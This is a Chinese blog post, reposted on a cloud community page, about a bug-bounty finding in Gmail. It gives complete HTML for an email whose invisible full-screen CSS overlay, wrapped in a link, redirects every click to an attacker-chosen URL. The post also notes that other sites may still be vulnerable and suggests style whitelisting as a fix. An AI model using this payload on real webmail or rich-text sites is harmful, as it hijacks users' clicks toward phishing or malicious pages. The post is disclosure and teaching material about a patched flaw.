专栏首页城边编程利用CSS劫持流量

利用CSS劫持流量

最近正好有一些时间用来帮大厂挖掘漏洞,也就有了今天的话题。为什么会想到去帮互联网公司挖掘漏洞呢?一是想为互联网的美好明天贡献微薄之力,二是保证持续学习的心态,三是挣点零花钱。

我写博客有6年多了,至今只写过一篇关于漏洞挖掘的文章(点击文章末尾的阅读原文可查看),因为做白帽子必须要低调,闷声挖洞发大财才是主线。如果在互联网上大张旗鼓的宣扬自己挖掘的漏洞,轻则社区送温暖,重则铁窗流泪。除开话题敏感外,从生存角度来说每个漏洞都是真金白银,传开了也就没你挖的份了。慢慢的,围城外的人觉得白帽子很神秘。

近期不是很想更新文章,一是有个开源项目要迭代,二是想好好挖洞发点小财。万万没想到我还是有活粉的,而且催更了,所以近期打算回馈各位支持我的活粉,和大家一起挖洞发财。

今天要分享的漏洞特别简单(知道的人很少),看完之后可以闻闻有没有金钱的味道。CSS大家都会,这里分享一个真实的案例,如何用CSS劫持流量。

一. 发现漏洞

像往常一样,我哄完孩子后打开了Gmail,看有没有邮件需要回复。正好有邮件要回复,在打开邮件编辑框一瞬间突然灵光乍现,我发现这里可能有漏洞。Gmail的编辑框如下:

可以看到这里是一个『富文本』编辑器,可以自定义文本样式,所有网页版邮件客户端都具备该功能(很常见)。我就在想有没有办法给邮件内容添加样式然后通过样式把整个网页都遮住呢?例如给图片中『test123』添加样式,把富文本框编辑器之外的页面都遮住。

我复习了CSS的基础知识,发现可以一试。通过Chrome调试工具能看到『test123』对应的html代码如下:

<font face="tahoma, sans-serif" 
size="4" color="#d9d2e9" 
style="background-color: rgb(0, 255,255);">
    test123
</font>

对style稍作修改,变成如下样式:

<font face="tahoma, sans-serif"
size="4" color="#d9d2e9" 
style="
display: block;
z-index: 100000;
opacity: 0.8;
position: fixed;
top: 0px;
left: 0;
width: 1000000px;
height: 100000px;
background-color: red;
">
    test123
</font>

添加样式后Gmail的页面变成了这样:

然后马上点击发送,再打开已发送邮件列表,点开刚刚发送的邮件,看到页面如下:

到这里基本可以确定CSS能注入成功。

二. 漏洞利用

上一步已经确定了CSS可以将整个网页遮罩(用大红色主要是为了突出显示影响面),但这只能算前端样式问题,没啥实际价值,奖金会很低。所以我们需要想办法扩大漏洞的影响范围,这也是漏洞挖掘最难的地方。

我又在想,如果用`<a></a>`标签把『test123』包起来,整个遮罩就会变成一个大的超链接,只要用户点击就会跳转到超链接设置的地址中。相当于只要用户点开了这封邮件,之后的操作都会被我劫持。于是我对邮件内容再进行修改:

<a href="https://www.test.com">
    <font face="tahoma, sans-serif"
    size="4" color="#d9d2e9" 
    style="
    display: block;
    z-index: 100000;
    opacity: 0.8;
    position: fixed;
    top: 0px;
    left: 0;
    width: 1000000px;
    height: 100000px;
    background-color: red;
    ">
        test123
    </font>
</a>

修改完之后,再点开刚刚发送的邮件,会发现点击页面的任何地方都会跳转到`www.test.com`。到这里整个Gmail就成功被劫持,最后就是收尾工作,要将背景色去掉,设置`opacity:0;`,让用户打开邮件和正常的页面无差别。效果如下:

最终这个漏洞的影响超出了我的预期,一是点击网页的任何地方都会跳转到`www.test.com`,用户会怀疑是自己的Gmail出故障了。二是刷新页面又会重新渲染当前的邮件,只能通过浏览器的URL框改URL,很多用户根本不知道如何修改。三是`www.test.com`攻击者可以自定义。

漏洞证明邮件很好写,最后Google支付了1000美金作为奖励,现在该漏洞已经修复。虽然Gmail已经修复,但是其他网站可不一定。

三. 最后

要挖掘漏洞推荐从国外开始,比如Google和Facebook。因为国内的应急安全平台都不是很规范,钱也给的少,更重要的是挖漏洞这件事国内法律是不认可的。厂商可以说你是白帽子,也可以说你是黑客。

我应该是第一个这么用CSS漏洞的。将CSS与超链接结合实现流量劫持,方式很简单,容易理解,也有点low。防范办法就是在使用富文本编辑框时设置style支持的样式白名单,或者直接禁用style加载样式。

本文分享自微信公众号 - 城边编程(code-log)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-10-16

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 腾讯云服务器搭建网站教程【PHP+MYSQL环境】

    到目前为止本人做网站已经有半年了,对服务器配置略有了解。目前基本掌握了在cent os和windows server 2008/2012系统下搭建PHP+MYS...

    用户2416682
  • 解决error: Your local changes to the following files would be overwritten by merge

    但是项目里的其他人如果不小心把该配置文件修改push到远程仓库之后,我们git pull代码的时候就会报错

    拓荒者
  • 爬虫之urllib库的使用

    简单的说就是别人写好的东西,你拿来调用就可以实现基本的操作。比如电视你只用看,不用知道他是如何成像的。

    不断折腾
  • [golang]在Go中处理时区

    当将时区存储在数据库中时,请始终遵循一个标准时区,理想的做法是保存UTC时间,并在显示时区时根据需要将其转化为各种时区。

    landv
  • 震惊了!每30秒学会一个Python小技巧

    向大家推荐一个将碎片化时间利用到极致的github项目《30-seconds-of-python》

    统计学家
  • 学到了!用 Git 和 Github 提高效率的 10 个技巧

    你可以创建一个对比页面通过使用URL github.com/user/repo/compare/{range}。范围(range)可以是两个SHA例如sha1…...

    用户2769421
  • Action访问

    发送请求后就会找到相应的Action类,访问执行execute方法(默认),通过method属性可配置访问的方法

    木瓜煲鸡脚
  • 为什么大部分的码农都做不了架构师?

    一般来说技术团队的金字塔顶尖往往是技术最牛的人做架构师(或TL)。所以架构师在广大码农中的占比大概平均不到 20%。

    编程珠玑
  • Mysql使用ReplicationDriver驱动实现读写分离

    数据库的主从复制环境已经配好,该要解决系统如何实现读写分离功能了。Mysql的jdbc驱动提供了一种实现ReplicationDriver。

    程序猿讲故事
  • 通俗讲解 RESTful

    百度一下 RESTful,查到的资料很多都讲得不清楚,看完了都不知道说的是啥,导致很多人对 RESTful 不甚了解。来看一下常见的解释:

    丹枫无迹

扫码关注云+社区

领取腾讯云代金券